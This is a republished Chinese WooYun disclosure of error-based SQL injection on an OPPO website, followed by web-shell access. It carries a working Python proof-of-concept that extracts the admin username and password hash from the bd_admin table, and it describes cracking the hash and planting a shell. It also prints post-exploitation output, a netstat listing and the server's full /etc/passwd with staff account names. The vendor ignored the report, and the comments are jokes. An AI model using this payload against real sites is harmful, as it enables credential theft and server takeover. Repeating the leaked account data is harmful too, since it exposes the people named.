oppo官网某站报错注入(附python POC脚本)至GETSHELL

admin

139580
文章

114
评论

2017年4月17日07:30:50评论370 views字数 238阅读0分47秒阅读模式

摘要

2016-02-27：细节已通知厂商并且等待厂商处理中
2016-02-27：厂商已查看当前漏洞内容,细节仅向厂商公开
2016-03-03：厂商已经主动忽略漏洞，细节向公众公开

漏洞概要关注数(54) 关注此漏洞

缺陷编号： WooYun-2016-179078

漏洞标题： oppo官网某站报错注入(附python POC脚本)至GETSHELL

漏洞作者： Mr.Q

提交时间： 2016-02-27 12:57

公开时间： 2016-03-03 13:00

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

12人收藏

漏洞详情

披露状态：

简要描述：

oppo官网某站报错注入(附python POC脚本)至GETSHELL

详细说明：

oppo某站存在报错注入

附python脚本

code 区域

#!/usr/bin/env python
 #coding:utf-8
 __author__ = 'Lu'
 
 import urllib2
 import urllib
 import sys
 import hashlib
 import re
 
 
 def verify(url):
     target = "%s/showroom.php?act=get_store&sell_district_id=1" % url
     payload = " AND (SELECT 1879 FROM(SELECT COUNT(*),CONCAT(0x71626b7071,(select concat(0x23,0x23,username,0x23,0x23,password,0x23,0x23) from bd_admin where id=1 limit 1),0x7171767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
     poc = target + payload
     try:
         # 发送 HTTP 请求
         req = urllib2.Request(poc)
         response = urllib2.urlopen(req)
         s = "Duplicate entry /'qbkpq(.*?)qqvxq1/'"
         
         if response:
             # 处理 响应
             data = response.read()
             result = re.findall(s,data)
             print "用户名#密码是 : %s" % result
     except Exception, e:
         print "Something happend..."
         print e
 
 
 def main():
     args = sys.argv
     url = ""
 
     if len(args) == 2:
         url = args[1]
         verify(url)
     else:
         print "Usage: python %s url" % (args[0])
 
 if __name__ == '__main__':
     main()

md5解密后台登录

GETSHELL

mask 区域

1.http://**.**.**/upload/a.php

code 区域

netstat -an | grep ESTABLISHED
 tcp        0      0 192.168.0.21:36555      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:34326      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:80         192.168.2.5:35409       ESTABLISHED
 tcp        0      0 192.168.0.21:32790      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:46251      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:38925      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:45137      218.75.154.137:443      ESTABLISHED
 tcp        0      0 192.168.0.21:58753      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:39190      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:48091      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:55740      115.231.159.133:443     ESTABLISHED
 tcp        0      0 192.168.0.21:45189      218.75.154.137:443      ESTABLISHED
 tcp        0      0 192.168.0.21:53638      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:52250      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:37587      198.11.178.243:23333    ESTABLISHED
 tcp        0      0 192.168.0.21:44610      198.11.178.243:23333    ESTABLISHED
 tcp6       0      0 192.168.0.21:35940      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:54957      117.79.131.86:80        ESTABLISHED
 tcp6       0      0 192.168.0.21:58796      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:46477      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:39783      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:57555      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58802      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:41560      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:39498      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:46070      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:58944      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:51262      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:45042      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58806      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:51920      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:50305      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:46040      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58789      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:33979      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:55702      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:53109      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:55918      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:32812      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:33143      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:56389      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58599      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:38080      192.168.0.23:46720      ESTABLISHED
 tcp6       0      0 192.168.0.21:34809      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:58788      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:49518      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:57459      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:41422      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:57341      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:41157      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57492      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:46360      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:53509      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:46852      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:51921      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:34070      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:57646      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:38595      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:44697      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58797      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:42793      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:47552      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:47160      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:36648      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:34582      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:47731      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:40307      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:33262      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:56565      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58803      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:46052      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:40891      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:45844      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:36269      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:54774      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:33626      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58519      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58545      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:49201      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57074      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:39782      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:36481      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:44995      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57460      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:57351      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:49513      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:54684      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:34811      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:49514      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:33639      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:35645      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:36793      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:48795      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:54505      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:34482      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57459      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57743      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:36484      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:40622      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:42534      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57544      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:42616      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:39726      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:54105      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:58800      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:59511      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57497      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:60372      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:57463      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:58804      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:48340      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:41836      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:46622      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:43033      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:46064      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:48010      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:37545      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58668      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:43163      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:51356      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:50538      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:56898      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:38542      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:44322      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:49519      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:42243      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:34627      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:41580      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:40344      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:58807      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:46556      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:58791      192.168.0.22:33306      ESTABLISHED
 tcp6       0      0 192.168.0.21:40103      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:51898      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:54728      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:54487      123.125.115.18:443      ESTABLISHED
 tcp6       0      0 192.168.0.21:45534      58.250.207.48:443       ESTABLISHED
 tcp6       0      0 192.168.0.21:38268      123.125.115.18:443      ESTABLISHED

code 区域

root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
 bin:x:2:2:bin:/bin:/bin/sh
 sys:x:3:3:sys:/dev:/bin/sh
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/bin/sh
 man:x:6:12:man:/var/cache/man:/bin/sh
 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
 mail:x:8:8:mail:/var/mail:/bin/sh
 news:x:9:9:news:/var/spool/news:/bin/sh
 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
 proxy:x:13:13:proxy:/bin:/bin/sh
 www-data:x:33:33:www-data:/var/www:/bin/sh
 backup:x:34:34:backup:/var/backups:/bin/sh
 list:x:38:38:Mailing List Manager:/var/list:/bin/sh
 irc:x:39:39:ircd:/var/run/ircd:/bin/sh
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
 libuuid:x:100:101::/var/lib/libuuid:/bin/sh
 Debian-exim:x:101:103::/var/spool/exim4:/bin/false
 statd:x:102:65534::/var/lib/nfs:/bin/false
 sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
 #jhshi:x:1000:1000:,,,:/home/jhshi:/bin/bash
 ychen:x:1001:1001:,,,:/home/ychen:/bin/bash
 #mzhou:x:1002:1002:,,,:/home/mzhou:/bin/bash
 nagios:x:104:106::/var/lib/nagios:/bin/false
 nginx:x:105:107:nginx user,,,:/nonexistent:/bin/false
 mysql:x:106:108:MySQL Server,,,:/nonexistent:/bin/false
 messagebus:x:107:109::/var/run/dbus:/bin/false
 #xtjiao:x:1003:1003:,,,:/home/xtjiao:/bin/bash
 #zwzheng:x:1004:1004:,,,:/home/zwzheng:/bin/bash
 syncer:x:1005:1005:,,,:/home/syncer:/bin/bash
 sphinxsearch:x:108:110:Sphinx fulltext search service,,,:/var/run/sphinxsearch:/bin/false
 redis:x:109:111:redis server,,,:/var/lib/redis:/bin/false
 hwang:x:1006:1006:,,,:/home/hwang:/bin/bash
 lchen:x:1007:1007:,,,:/home/lchen:/bin/bash
 hbai:x:1002:1009:,,,:/home/hbai:/bin/bash
 avahi:x:110:112:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
 tomcat55:x:111:65534::/usr/share/tomcat5.5:/bin/false
 mjzhou:x:1000:1008:,,,:/home/mjzhou:/bin/bash
 qxu:x:1003:1010:,,,:/home/qxu:/bin/bash
 wjzhu:x:1004:1011:,,,:/home/wjzhu:/bin/bash
 cywang:x:1008:1012:,,,:/home/cywang:/bin/bash
 zjli:x:1009:1013::/home/zjli:/bin/sh
 yfhu:x:1010:1014::/home/yfhu:/bin/sh
 ljni:x:1011:1015::/home/ljni:/bin/sh

内核：Linux hz97-164-21 2.6.32-5-amd64

漏洞证明：

已经证明

修复方案：

你们专业

版权声明：转载请注明来源 Mr.Q@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-03-03 13:00

厂商回复：

漏洞Rank：15 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-02-27 13:05 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

1

充电五分钟，挖洞两小时

1# 回复此人
2016-02-27 13:10 | 木易 ( 普通白帽子 | Rank:347 漏洞数:70 | 不，，不要误会，我不是针对谁，我是说在座...)

1

挖洞两小时，提交五分钟。

2# 回复此人
2016-02-27 13:58 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

提交五分钟,确认两小时.

3# 回复此人
2016-02-27 14:00 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

确认两小时,修复五分钟.

4# 回复此人
2016-02-27 14:01 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

修复五分钟,批斗两小时.

5# 回复此人
2016-02-27 14:02 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

批斗两小时,反省五分钟.

6# 回复此人
2016-02-27 14:04 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

反省五分钟,警醒两小时.

7# 回复此人
2016-02-27 14:04 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

警醒两小时,忘记五分钟.

8# 回复此人
2016-02-27 14:05 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

请问一共用了多少分钟

9# 回复此人
2016-02-27 14:07 | 玉林嘎 ( 普通白帽子 | Rank:941 漏洞数:108 )

1

265分钟

10# 回复此人
2016-02-27 14:10 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

@玉林嘎 1000分钟分钟

11# 回复此人
2016-02-27 18:08 | 乌云来了打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了打雷啦)

1

前排学习大神

12# 回复此人
2016-02-28 22:17 | 乌云大嫖客 ( 路人 | Rank:6 漏洞数:2 | 鄙人可是装逼界第一高手)

1

围观五分钟，装逼两小时。

13# 回复此人
2016-03-03 13:46 | 狼牙月 ( 实习白帽子 | Rank:47 漏洞数:14 | 水不撩怎知深浅人不拼怎知输赢)

1

装逼五分钟，挨打两小时

14# 回复此人
2016-03-03 15:29 | ba1ma0 ( 路人 | Rank:14 漏洞数:5 | 什么都不会..)

1

挨打五分钟，后悔两小时

15# 回复此人
2016-03-03 16:45 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:16 | Talk is cheap,show me the shell.)

1

这python脚本有啥用…加戏？

16# 回复此人
2016-03-03 17:40 | 晓庄 ( 路人 | Rank:29 漏洞数:7 | Make money.)

1

原来评论才是重点。。。

17# 回复此人
2016-03-03 18:33 | 乌云来了打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了打雷啦)

1

哇公开啦再次感谢洞主分享python脚本让小白了解python的POC编写学习python中

18# 回复此人
2016-03-03 19:04 | Dickeye ( 路人 | Rank:14 漏洞数:2 | T-Safe)

1

强行附python脚本

19# 回复此人
2016-03-04 10:05 | YiYang ( 实习白帽子 | Rank:57 漏洞数:22 | 一锹、两锹、三锹。。。)

1

@乌云来了打雷啦这种必须脚本才能注么

20# 回复此人
2016-03-04 10:19 | 乌云来了打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了打雷啦)

1

@YiYang 工具可能线程太大把服务器打坏吧我觉得这是份学python POC的资料毕竟自己不会写脚本之前看好的大牛都只有盲注的脚本我正在学python 可以一起学习

21# 回复此人
2016-03-04 11:19 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间，孤独无解)

1

hhhhhhhhhhhh评论的都是人才。。。

22# 回复此人
2016-03-04 13:35 | Hslim ( 路人 | Rank:14 漏洞数:4 | 憋说话)

1

都才人。

23# 回复此人
2016-03-06 10:25 | T0ne5 ( 路人 | Rank:2 漏洞数:1 | 搬砖真的很累。)

1

挖洞5分钟,喝茶2小时

24# 回复此人

漏洞概要 关注数(54) 关注此漏洞

缺陷编号： WooYun-2016-179078

漏洞标题： oppo官网某站报错注入(附python POC脚本)至GETSHELL

相关厂商： 广东欧珀移动通讯有限公司

漏洞作者： Mr.Q

提交时间： 2016-02-27 12:57

公开时间： 2016-03-03 13:00

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

12人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Mr.Q@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(54) 关注此漏洞

相关厂商：广东欧珀移动通讯有限公司

危害等级：高

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

Tags标签：无

漏洞评价(共0人评价):

登陆后才能进行评分